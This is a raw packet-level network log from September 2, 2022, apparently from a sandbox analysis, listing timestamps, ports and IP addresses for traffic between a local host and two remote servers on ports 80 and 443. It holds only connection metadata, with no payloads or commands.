Sep 2, 2022 14:02:35.166368961 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.166392088 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.166456938 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.300173998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.300225019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.300261021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.300354004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.301306963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301373005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301415920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301454067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301482916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301501989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.301521063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.301523924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301563978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301603079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301641941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301662922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.301667929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.301696062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302011013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302053928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302092075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302117109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302138090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302150011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302166939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302272081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302314043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302330971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302361965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302366018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302401066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302428007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302485943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302697897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302737951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302777052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302797079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302817106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302834034 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.302845955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.302870035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.303046942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.303282976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.303868055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.303886890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.303910971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.303947926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.303967953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.303976059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304014921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304029942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304056883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304066896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304099083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304136992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304163933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304193020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304202080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304239988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304258108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304279089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304316044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304342985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304368973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304383039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304420948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304435968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304460049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304498911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304512024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304524899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304548979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304617882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304656029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304694891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304708958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304735899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304747105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.304763079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304881096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.304939032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305068970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305109024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305146933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305160046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305175066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305222988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305267096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305306911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305346012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305357933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305383921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305393934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305411100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305524111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305562973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305577040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305603027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305608988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305643082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305685043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305741072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305877924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305917978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305958986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.305979967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.305999994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306025028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306056023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306258917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306298971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306339979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306350946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306371927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306381941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306390047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306408882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306463957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306745052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306787014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306824923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306865931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306880951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306895018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306917906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.306932926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.306972027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307010889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307017088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307049036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307095051 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307130098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307334900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307390928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307401896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307440042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307478905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307486057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307506084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307550907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307575941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307641029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307682991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307688951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307720900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307746887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.307764053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.307979107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308020115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308027983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308113098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308151960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308159113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308195114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308222055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308238029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308269024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308273077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308315039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308341026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308358908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308386087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308680058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308708906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308743000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308765888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308790922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.308814049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308835983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.308984041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309011936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309039116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309039116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309066057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309073925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309086084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309092999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309122086 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309334993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309362888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309391022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309418917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309425116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309437990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309461117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309479952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309640884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309669971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309699059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309726000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309739113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309746027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309776068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.309957981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.309987068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310014009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310039997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310041904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310059071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310064077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310101986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310204029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310231924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310254097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310259104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310292006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310305119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310305119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310326099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310372114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310550928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310580015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310607910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310635090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310635090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310643911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310653925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310674906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310796022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310826063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310851097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310853958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310863972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.310882092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310902119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.310920954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311245918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311276913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311304092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311331034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311351061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311373949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311408043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311604977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311671972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311709881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311738014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311764956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311780930 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311785936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.311798096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311837912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.311916113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312000036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312005997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312027931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312048912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312053919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312067986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312073946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312127113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312160015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312206030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312215090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312268019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312294960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312314034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312328100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312366009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312877893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.312944889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.312997103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313024998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313052893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313054085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313074112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313092947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313101053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313111067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313148022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313158035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313177109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313203096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313218117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313221931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313231945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313278913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313443899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313471079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313498020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313536882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313556910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.313590050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313610077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.313657999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315310001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315339088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315382957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315383911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315409899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315411091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315428972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315442085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315454960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315747023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315773964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315802097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315835953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315838099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315857887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.315860987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.315881968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.316164017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316193104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316222906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316272974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.316304922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316313028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.316327095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316358089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.316653013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316684008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316709995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316737890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316754103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.316756964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.316798925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317338943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317368984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317395926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317423105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317431927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317441940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317468882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317507029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317563057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317614079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317642927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317668915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317668915 CEST	80	49787	85.209.157.230	192.168.2.6
